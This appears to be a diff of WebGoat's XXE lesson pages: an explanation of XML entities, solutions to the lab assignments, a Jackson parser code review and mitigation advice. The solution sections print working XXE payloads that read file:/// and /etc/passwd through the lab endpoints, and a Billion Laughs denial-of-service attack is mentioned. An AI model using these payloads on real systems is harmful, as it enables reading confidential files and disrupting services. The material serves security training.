This error message appears because we are still sending a json message towards the endpoint, so if we intercept and change change the json message to a xml message:
[souce]
----
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<text>This is my first message</text>
----
Again an error message from the endpoint:
[source]
----
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7; unexpected element (uri:\\\"\\\", local:\\\"text\\\"). Expected elements are <{}comment>]
----
The parser complains that the message is not a valid xml message and needs to be embedded in a `comment` tag:
[source, xml]
----
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<comment><text>This is my first message</text></comment>
----
The endpoint no longer complains and if you refresh the page in WebGoat the posted comments appear. For the attack to work we need to post:
[source, xml]
----
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>
----

View File

@ -0,0 +1,77 @@
=== Find XXE with a code review
Now we know how the injection work, let's look at why this can happen. In Java applications XML library configuration is not secure by default, and you have to change the settings. Suppose you find the following code snippet during a code review:
[source, java]
----
public XmlMapper xmlMapper() {
return new XmlMapper(XMLInputFactory.newInstance()) // <1>
}
----
.while having a look at the release notes of the Jackson library you read:
[quote, Jackson 2.7.8 (26-Sep-2016)]
211: Disable ``SUPPORT_DTD`` for ``XMLInputFactory`` unless explicitly overridden
==== Question: is the parser vulnerable?
This piece of code defines a new `XmlMapper` (`ObjectMapper`) which is a popular framework for reading and writing xml and json. If we follow the code one level deeper we find:
[source, java]
----
/**
* @since 2.4
*/
public XmlMapper(XMLInputFactory inputF) { // <2>
this(new XmlFactory(inputF)); //<3>
}
----
<2> This is the 'constructor' we called from the listing above (1)
<3> Call to another 'constructor' and initialize a new instance of `XmlFactory`
Let's take a look at the source code of `XMLFactory`
[source, java]
----
public XmlFactory(XMLInputFactory xmlIn) { // <4>
this(xmlIn, null); } // <5>
protected XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...) { // <6>
if (xmlIn == null) { //<7>
xmlIn = XMLInputFactory.newInstance();
// as per [dataformat-xml#190], disable external entity expansion by default
xmlIn.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE); // <8>
// and ditto wrt [dataformat-xml#211], SUPPORT_DTD
xmlIn.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE); // <9>
}
}
----
<4> This is the 'constructor' definition of the new instance created in 3
<5> Call to another 'constructor' defined in 6
<8> XXE protection
<9> XXE protection
In 7 we know `if (xmlIn == null)` will not be true because if we look at our declaration at the top we created our own instance `XMLInputFactory.newInstance()` which is not `null`. This means that we have a XML parser which is by default **not** secured against XXE injection. The interesting part at 8 and 9 is the extra protection nested inside the if statement.
If we look at the Spring Boot framework for example how they initialize the same parser:
[source, java]
----
public ObjectMapper create() {
return new XmlMapper(xmlInputFactory()); // <1>
}
private static XMLInputFactory xmlInputFactory() {
XMLInputFactory inputFactory = XMLInputFactory.newInstance();
inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
inputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
return inputFactory;
}
----
<1> Call to a method which initializes the parser safely
As you can see the explicitly define the ``XMLInputFactory`` through the private method ``xmlInputFactory()`` which actually sets the same properties to the parser as we saw in the previous listing.
As you can see this it is not that easy to find out whether the parser is secure against the injection you really have to dig deep in the code, and the library to find out what the parser settings are.
Take a look at https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html[XXE prevention sheet] for more ways to secure your parser.

View File

@ -1,7 +1,6 @@
=== What is a XML entity?
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
In general there are three types of entities:
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed. In general there are three types of entities:
* internal entities
* external entities
@ -9,30 +8,17 @@ In general there are three types of entities:
An entity must be created in the Document Type Definition (DTD), let's start with an example:
[source]
----
<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY js "Jo Smith">
]>
<author>&js;</author>
----
[role="lesson-image"]
image::images/xxe-parser.png[XML parser]
As you can see once the XML document is processed by the parser, it will replace the defined entity `js` with the defined constant "Jo Smith". As you can see this has many advantages as you can change `js` in one place to for example "John Smith".
So everywhere you use the entity `&js;` the parser will replace it with the value defined in the entity.
=== What is an XXE injection?
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a
reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data,
denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative
paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this
trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to
any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues
may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
In general we can distinguish the following kind of XXE attacks:

View File

@ -1,7 +1,6 @@
== XXE mitigation
In order to protect against XXE attacks you need to make sure you validate the input received from an untrusted client.
In the Java world you can also instruct your parser to ignore DTD completely, for example:
In order to protect against XXE attacks you need to make sure you validate the input received from an untrusted client. In the Java world you can also instruct your parser to ignore DTD completely, for example:
[source]
----
@ -18,12 +17,9 @@ xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
----
For more information about configuration, see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
For more information about configuration, see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html[XXE prevention sheet]
==== Validate
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle
the incoming request. Also if the client specifies a proper accept header return with a `406/Not Acceptable.
`
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle the incoming request. If the client specifies a proper accept header return with a `406/Not Acceptable.

View File

@ -21,9 +21,7 @@ With the same XXE attack we can perform a DOS service attack towards the server.
<lolz>&lol9;</lolz>
----
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined
entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on.
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
This is called a "Billion laughs", more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs

View File

@ -0,0 +1,60 @@
=== XXE example
Let's look at an example of an XXE injection, in the previous section we saw that XML entities can be used as follows:
[source, xml]
----
<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY js "Jo Smith">
]>
<author>&js;</author>
----
=== External DTD declaration
Defining these entities also makes it possible to define another DTD in an external file, for example:
[source, xml]
----
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "email.dtd">
<email>
<to>webgoat@webgoat.org</to>
<from>webwolf@webwolf.org</from>
<subject>Your app is great, but contains flaws</subject>
<body>Hi, your application contains some SQL injections</body>
</email>
----
and the `email.dtd` can be defined as follows:
[source, dtd]
----
<!ELEMENT email (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT subject (#PCDATA)>
<!ELEMENT body (#PCDATA)>
----
=== XXE
If a XML parser is configured to allow external DTD or entities we can change the following XML snippet with the following:
[source, xml]
----
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>
----
Now what happens? We defined an include from the local filesystem, the XML parser will load the file and will add the contents wherever the entity is referenced. Let's assume the XML message is returned to the user the message will be:
[role="lesson-image"]
image::images/etc_password.png[Password]
NOTE: The extra document type definition(DOCTYPE) is something you can always add to the xml document and if the parser settings are enabled to allow external entities to be processed you are off to a good start for finding a XXE injection.

View File

@ -0,0 +1,52 @@
=== Assignment solution
The goal of the exercise is to list the root of the file system. If we first try a normal post we see the following request:
[source, xml]
----
POST /WebGoat/xxe/simple
Content-Type: application/xml
<?xml version="1.0"?><comment><text>This is my first comment, nice picture</text></comment>
----
The web page is making a xhr request to post a xml message, after that the comment is displayed in the comment section. Now let's try change the request a bit as shown in the previous section:
[source, xml]
----
POST /WebGoat/xxe/simple
Content-Type: application/xml
<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
----
So instead of including a specific file we make a reference to the root of the filesystem with `file:///`. If we just copy and paste this in the comment text box you will get an error in the response body
[source,json]
----
{
"lessonCompleted" : false,
"feedback" : "Sorry the solution is not correct, please try again.",
"output" : "...javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,44]\\nMessage: The processing instruction target matching \\\"[xX][mM][lL]\\\" is not allowed.]"
"assignment" : "SimpleXXE",
"attemptWasMade" : true
}
----
This is due to the fact that the JavaScript is taking the input and creates the following message:
[source%linenums, xml]
----
POST /WebGoat/xxe/simple
Content-Type: application/xml
<?xml version="1.0"?>
<comment>
<text>
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
</text>
</comment>
----
Line 7 contains the input entered in text box if we would use the comment form.
To solve the lesson you have to intercept the complete the outgoing request and replace the complete body with the solution. See our lessons about intercepting HTTP traffic.